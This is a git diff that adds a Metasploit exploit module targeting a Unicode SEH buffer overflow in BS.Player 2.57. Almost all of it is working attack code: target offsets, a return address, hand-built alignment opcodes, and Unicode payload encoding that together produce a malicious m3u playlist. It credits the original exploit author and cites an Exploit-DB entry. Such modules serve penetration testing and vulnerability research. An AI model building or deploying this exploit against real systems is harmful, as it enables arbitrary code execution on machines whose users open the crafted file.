diff --git a/modules/exploits/windows/fileformat/bsplayer_m3u.rb b/modules/exploits/windows/fileformat/bsplayer_m3u.rb new file mode 100644 index 0000000000..be43fe1043 --- /dev/null +++ b/modules/exploits/windows/fileformat/bsplayer_m3u.rb @@ -0,0 +1,136 @@ +## +# $Id: $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)', + 'Description' => %q{ + This module exploits a buffer overflow in BS.Player 2.57. When + the playlist import is used to import a specially crafted m3u file, + a buffer overflow occurs allowing arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'All Credit To: C4SS!0 G0M3S ', + 'MSF Module: Chris Gabriel', + 'Greets: Corelan team for mona.py & awesome tutorials', + ], + 'References' => + [ + [ 'URL', 'http://www.exploit-db.com/exploits/15934/' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + #'InitialAutoRunScript' => 'migrate -f', + }, + 'Platform' => 'win', + 'Payload' => + { + 'Space' => 2000, + 'BadChars' => "\x00\x0a\x0d\x1a\x80", + 'DisableNops' => true, + 'StackAdjustment' => -3500, + }, + + 'Targets' => + [ + [ 'Windows XP', + { + 'Ret' => "\x2f\x49", + 'Offset' => 4102 + } + ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) + + [ 'Windows 7', + { + 'Ret' => "\x2f\x49", + 'Offset' => 4102 + } + ], # pop ecx # pop ebp # ret 0c | startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READWRITE} [bsplayer.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.5.7.1051 (bsplayer.exe) + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jan 07 2010', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),], self.class) + + end + + def exploit + + nseh = "\x61\x42" + + align = "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x58" # POP EAX + align += "\x6d" # PAD + align += "\x50" # PUSH EAX + align += "\x6d" # PAD + align += "\xc3" # RET + + if target == targets[0] then + padding = rand_text_alpha_lower(1879) + elsif target == targets[1] then + padding = rand_text_alpha_lower(1931) + end + + enc = framework.encoders.create('x86/unicode_mixed') + + register_to_align_to = "EAX" + + enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to }) + + unicodepayload = enc.encode(payload.encoded, nil, nil, platform) + + buffer = "http://" + buffer << rand_text_alpha_lower(target['Offset']) + buffer << nseh + buffer << target['Ret'] + buffer << align + buffer << padding + buffer << unicodepayload + + file_create(buffer) + + end +end